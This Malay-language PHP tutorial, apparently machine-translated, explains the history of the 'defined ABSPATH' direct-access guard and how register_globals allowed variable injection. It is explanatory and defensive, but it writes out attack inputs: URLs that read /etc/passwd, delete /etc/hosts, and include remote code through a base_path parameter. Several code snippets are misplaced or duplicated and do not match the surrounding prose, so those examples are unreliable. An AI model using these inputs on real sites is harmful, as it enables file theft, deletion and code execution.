Nota: Untuk mengikuti siaran ini, andaikan anda mempunyai pengetahuan asas tentang pengaturcaraan dalam PHP.
Artikel ini membincangkan coretan kod PHP yang mungkin anda lihat di bahagian atas CMS atau rangka kerja kegemaran anda. Anda mungkin telah membaca bahawa anda harus sentiasa memasukkannya pada permulaan setiap fail PHP yang anda bangunkan, atas sebab keselamatan, walaupun tanpa penjelasan yang sangat jelas tentang sebabnya. Saya merujuk kepada kod ini:
<?php if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly }
Kod jenis ini sangat biasa dalam fail WordPress, walaupun ia muncul dalam hampir semua rangka kerja dan CMS. Dalam kes Joomla CMS, sebagai contoh, satu-satunya perubahan ialah bukannya ABSPATH, ia menggunakan JEXEC. Selain daripada itu, logiknya tetap sama. CMS ini berkembang daripada sistem sebelumnya yang dipanggil Mambo, yang juga menggunakan kod yang serupa, tetapi dengan _VALID_MOS sebagai pemalar. Jika kita pergi lebih jauh ke belakang, kita dapati bahawa CMS pertama yang menggunakan kod jenis ini ialah PHP-Nuke (dianggap oleh sesetengah pihak sebagai CMS berasaskan PHP pertama).
Aliran pelaksanaan PHP-Nuke (dan kebanyakan CMS dan rangka kerja hari ini) terdiri daripada memuatkan berbilang fail secara berurutan untuk bertindak balas terhadap tindakan yang telah diambil oleh pengguna atau pelawat di tapak web. Sebagai contoh, bayangkan tapak web dari era itu dihoskan di example.net dengan CMS ini dipasang. Setiap kali halaman utama dimuatkan, sistem melaksanakan urutan fail mengikut tertib (ini hanyalah contoh, bukan urutan sebenar): index.php => load_modules.php => modules.php. Dalam rantaian ini, index.php telah dimuatkan dahulu, yang kemudiannya memuatkan load_modules.php, yang seterusnya memuatkan modules.php.
Rantai pelaksanaan ini tidak selalu bermula dengan fail pertama (index.php). Malah, sesiapa sahaja boleh memintas sebahagian daripada aliran dengan mengakses terus salah satu fail PHP lain melalui URLnya (contohnya, http://example.net/load_modules.php atau http://example.net/modules.php) , yang, seperti yang akan kita lihat, boleh berisiko dalam banyak kes.
Bagaimana masalah ini diselesaikan? Langkah keselamatan telah diperkenalkan, menambahkan kod yang serupa dengan ini pada permulaan setiap fail:
<?php if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) { die ("You can't access this file directly..."); }
Pada asasnya, kod ini, diletakkan di bahagian atas fail bernama modules.php, menyemak sama ada modules.php sedang diakses terus melalui URL. Jika ya, pelaksanaan dihentikan, memaparkan mesej: "Anda tidak boleh mengakses fail ini secara langsung..." Jika $HTTP_SERVER_VARS['PHP_SELF'] tidak mengandungi modules.php, ini bermakna aliran pelaksanaan biasa aktif, membenarkan skrip untuk diteruskan.
Kod ini, bagaimanapun, mempunyai beberapa had. Pertama, kod itu berbeza untuk setiap fail di mana ia dimasukkan, yang menambah kerumitan. Selain itu, dalam situasi tertentu, PHP tidak memberikan nilai kepada $HTTP_SERVER_VARS['PHP_SELF'], yang mengehadkan keberkesanannya.
Jadi, apakah yang dilakukan oleh pembangun? Mereka menggantikan semua coretan kod tersebut dengan versi yang lebih ringkas dan cekap:
<?php if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly }
Dalam kod baharu ini, yang telah menjadi agak popular dalam komuniti PHP, kewujudan pemalar telah disemak. Pemalar ini ditakrifkan dan diberikan nilai dalam fail pertama aliran pelaksanaan (index.php, home.php, atau fail yang serupa). Oleh itu, jika pemalar ini tidak wujud dalam mana-mana fail lain dalam jujukan, ini bermakna seseorang telah memintas index.php dan cuba mengakses fail lain secara terus.
Pada ketika ini, anda mungkin berfikir bahawa memutuskan rantaian pelaksanaan mestilah sangat serius. Walau bagaimanapun, hakikatnya, biasanya, ia tidak menimbulkan ancaman besar.
Risiko mungkin timbul apabila ralat PHP mendedahkan laluan ke fail kami. Ini tidak sepatutnya membimbangkan kami jika pelayan dikonfigurasikan untuk menyekat ralat; walaupun ralat tidak disembunyikan, maklumat yang terdedah akan menjadi minimum, hanya memberikan beberapa petunjuk kepada bakal penyerang.
Ia juga boleh berlaku bahawa seseorang mengakses fail yang mengandungi serpihan HTML (paparan), mendedahkan sebahagian daripada kandungan mereka. Dalam kebanyakan kes, ini juga tidak patut dibimbangkan.
Akhir sekali, pembangun, sama ada secara silap atau kurang pengalaman, mungkin meletakkan kod berisiko tanpa kebergantungan luaran di tengah-tengah aliran pelaksanaan. Ini sangat jarang berlaku kerana rangka kerja atau kod CMS secara amnya bergantung pada kelas, fungsi atau pembolehubah luaran lain untuk pelaksanaannya. Jadi, jika percubaan dibuat untuk melaksanakan skrip terus melalui URL, ralat akan timbul kerana kebergantungan ini tidak akan ditemui dan pelaksanaan tidak akan diteruskan.
Jadi, mengapa menambah kod tetap jika terdapat sedikit sebab untuk dibimbangkan? Jawapannya ialah: "Kaedah ini juga menghalang suntikan pembolehubah yang tidak disengajakan melalui serangan register globals, menghalang fail PHP daripada menganggap ia berada dalam aplikasi sedangkan ia sebenarnya tidak."
Sejak zaman awal PHP, semua pembolehubah yang dihantar melalui URL (GET) atau borang (POST) ditukar secara automatik kepada pembolehubah global. Contohnya, jika fail download.php?filepath=/etc/passwd telah diakses, dalam fail download.php (dan dalam fail yang bergantung padanya dalam aliran pelaksanaan), anda boleh menggunakan echo $filepath; dan ia akan mengeluarkan /etc/passwd.
Di dalam download.php, tiada cara untuk mengetahui sama ada pembolehubah $filepath dicipta oleh fail terdahulu dalam rantai pelaksanaan atau jika ia telah diganggu melalui URL atau POST. Ini mewujudkan kelemahan keselamatan yang ketara. Mari lihat contoh, andaikan fail download.php mengandungi kod berikut:
<?php if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly }
Pemaju berkemungkinan ingin menggunakan corak Pengawal Hadapan untuk kod mereka, bermakna semua permintaan web akan melalui satu fail kemasukan (index.php, home.php, dll.). Fail ini akan mengendalikan permulaan sesi, memuatkan pembolehubah biasa dan akhirnya mengubah hala permintaan ke skrip tertentu (dalam kes ini, muat turun.php) untuk melaksanakan muat turun fail.
Walau bagaimanapun, penyerang boleh memintas urutan pelaksanaan yang dimaksudkan hanya dengan memanggil download.php?filepath=/etc/passwd, seperti yang dinyatakan sebelum ini. PHP secara automatik akan mencipta pembolehubah global $filepath dengan nilai /etc/passwd, membenarkan penyerang memuat turun fail tersebut daripada sistem. Masalah serius.
Ini hanyalah puncak gunung ais kerana serangan yang lebih berbahaya boleh dilaksanakan dengan usaha yang minimum. Contohnya, dalam kod seperti berikut, yang mungkin ditinggalkan pengaturcara sebagai skrip yang belum selesai:
<?php if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) { die ("You can't access this file directly..."); }
Penyerang boleh melaksanakan sebarang kod dengan menggunakan serangan Rangkuman Fail Jauh (RFI). Jika penyerang mencipta fail My.class.php di laman web mereka sendiri https://mysite.net yang mengandungi sebarang kod yang ingin mereka laksanakan, mereka boleh memanggil skrip yang terdedah dengan menghantar domain mereka: useless_code.php?base_path=https: //mysite.net, dan serangan itu akan selesai.
Contoh lain: dalam skrip bernama remove_file.inc.php dengan kod berikut:
<?php if (!defined('MODULE_FILE')) { die ("You can't access this file directly..."); }
penyerang boleh memanggil fail ini terus dengan URL seperti remove_file.inc.php?filename=/etc/hosts, cuba memadam fail /etc/hosts daripada sistem (jika sistem membenarkannya, atau fail lain mereka mempunyai kebenaran untuk memadam).
Dalam CMS seperti WordPress, yang turut menggunakan pembolehubah global secara dalaman, jenis serangan ini amat dahsyat. Walau bagaimanapun, terima kasih kepada teknik yang berterusan, ini dan skrip PHP yang lain telah dilindungi. Mari lihat contoh terakhir:
<?php if(file_exists($filepath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($filepath).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($filepath)); flush(); // Flush system output buffer readfile($filepath); exit; }
Sekarang, jika seseorang cuba mengakses remove_file.inc.php?filename=/etc/hosts, pemalar akan menyekat akses. Ia adalah penting bahawa ini adalah pemalar kerana, secara logiknya, jika ia adalah pembolehubah, penyerang boleh menyuntiknya.
Sekarang, anda mungkin tertanya-tanya mengapa PHP mengekalkan fungsi ini jika ia sangat berbahaya. Selain itu, jika anda mengetahui bahasa skrip lain (JSP, Ruby, dsb.), anda akan melihat mereka tidak mempunyai apa-apa yang serupa (itulah sebabnya mereka juga tidak menggunakan teknik berterusan). Ingat bahawa PHP pada mulanya dicipta sebagai sistem templat berasaskan C, dan tingkah laku ini menjadikan pembangunan lebih mudah. Berita baiknya ialah, melihat isu yang ditimbulkannya, penyelenggara PHP memperkenalkan arahan php.ini yang dipanggil register_globals (didayakan secara lalai) untuk membenarkan fungsi ini dilumpuhkan.
Tetapi apabila masalah berterusan, mereka melumpuhkannya secara lalai. Walaupun begitu, banyak hos terus mendayakannya kerana bimbang projek pelanggan mereka akan berhenti berfungsi, kerana kebanyakan kod pada masa itu tidak menggunakan pembolehubah HTTP_*_VARS yang disyorkan untuk mengakses nilai GET/POST/... sebaliknya digunakan pembolehubah global.
Akhirnya, memandangkan keadaan tidak bertambah baik, mereka membuat keputusan drastik: untuk mengalih keluar fungsi ini dalam PHP 5.4 untuk mengelakkan semua masalah ini. Oleh itu, hari ini, skrip seperti yang telah kita lihat (tanpa menggunakan pemalar) biasanya tidak lagi berisiko, kecuali beberapa amaran/notis yang tidak berbahaya dalam kes tertentu.
Hari ini, teknik berterusan masih biasa. Walau bagaimanapun, realiti malang — dan sebab untuk artikel ini — ialah beberapa pembangun memahami sebab sebenar di sebalik penggunaannya.
Seperti amalan terbaik yang lain dari masa lalu (seperti menyalin parameter ke dalam pembolehubah tempatan di dalam fungsi untuk mengelakkan isu dengan rujukan atau menggunakan garis bawah dalam pembolehubah peribadi untuk membezakannya), ramai yang terus menggunakannya hanya kerana seseorang pernah memberitahu mereka bahawa ia adalah amalan yang baik, tanpa mempersoalkan sama ada ia masih menambah nilai hari ini. Sebenarnya, dalam majoriti kes, teknik ini tidak lagi diperlukan.
Berikut ialah beberapa sebab mengapa amalan ini hilang kaitan:
Pengalihan keluar *register globals: Sejak PHP 5.4, pendaftaran automatik pembolehubah GET dan POST sebagai global dalam PHP telah dialih keluar. Tanpa *register globals, melaksanakan skrip individu secara langsung adalah tidak berbahaya, menghapuskan sebab utama teknik ini.
Reka Bentuk Kod yang Lebih Baik: Walaupun dalam versi pra-PHP 5.4, kod moden lebih berstruktur, umumnya dalam kelas dan fungsi, menjadikan akses atau manipulasi melalui pembolehubah luaran lebih mencabar. Malah WordPress, yang secara tradisinya menggunakan pembolehubah global, meminimumkan risiko ini.
Penggunaan *pengawal hadapan: Pada masa kini, kebanyakan aplikasi web menggunakan *pengawal hadapan yang direka bentuk dengan baik untuk memastikan kod kelas dan fungsi hanya dilaksanakan jika pelaksanaan rantaian bermula di pintu masuk utama. Oleh itu, jika seseorang cuba memuatkan fail secara berasingan, logiknya tidak akan dicetuskan melainkan aliran bermula dari titik masuk yang betul.
Pemuatan Auto Kelas: Dengan penggunaan meluas automuat kelas dalam pembangunan moden, penggunaan termasuk atau memerlukan telah berkurangan dengan ketara. Ini mengurangkan risiko yang berkaitan dengan kaedah ini (seperti Kemasukan Fail Jauh atau Kemasukan Fail Tempatan) dalam kalangan pembangun yang lebih berpengalaman.
Pengasingan Kod Awam dan Peribadi: Dalam kebanyakan CMS dan rangka kerja moden, kod awam (seperti aset) diasingkan daripada kod peribadi (logik). Langkah ini amat berharga, kerana ia memastikan bahawa, jika PHP gagal pada pelayan, kod PHP (sama ada ia menggunakan teknik malar atau tidak) tidak terdedah. Walaupun pemisahan ini tidak dilaksanakan secara khusus untuk mengurangkan mendaftar global, ia membantu mencegah isu keselamatan yang lain.
Penggunaan URL Mesra Secara meluas: Pada masa kini, mengkonfigurasi pelayan untuk menggunakan URL mesra adalah amalan biasa, memastikan satu titik masuk untuk logik aplikasi. Ini menjadikan hampir mustahil bagi sesiapa sahaja untuk memuatkan fail PHP secara berasingan.
Penindasan Ralat dalam Pengeluaran: Kebanyakan CMS dan rangka kerja moden melumpuhkan output ralat secara lalai, jadi penyerang tidak menemui petunjuk tentang kerja dalaman aplikasi, yang boleh memudahkan jenis serangan lain.
Walaupun teknik ini tidak lagi diperlukan dalam majoriti kes, itu tidak bermakna ia tidak pernah berguna. Sebagai pembangun profesional, adalah penting untuk menganalisis setiap situasi dan memutuskan sama ada teknik berterusan adalah berkaitan dengan konteks khusus di mana anda bekerja. Pemikiran kritis seperti ini harus sentiasa diterapkan, walaupun pada apa yang dipanggil amalan terbaik.
Jika anda masih tidak pasti bila hendak menggunakan teknik berterusan, pengesyoran ini mungkin membimbing anda:
Untuk semua perkara lain, jika anda ragu-ragu, gunakannya. Dalam kebanyakan kes, ia tidak akan membahayakan dan boleh melindungi anda dalam keadaan yang tidak dijangka, terutamanya jika anda baru bermula. Dengan masa dan pengalaman, anda akan dapat menilai masa untuk menggunakan teknik ini dan teknik lain dengan lebih berkesan.
Atas ialah kandungan terperinci Kod PHP Pelik itu dalam Rangka Kerja dan CMS. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!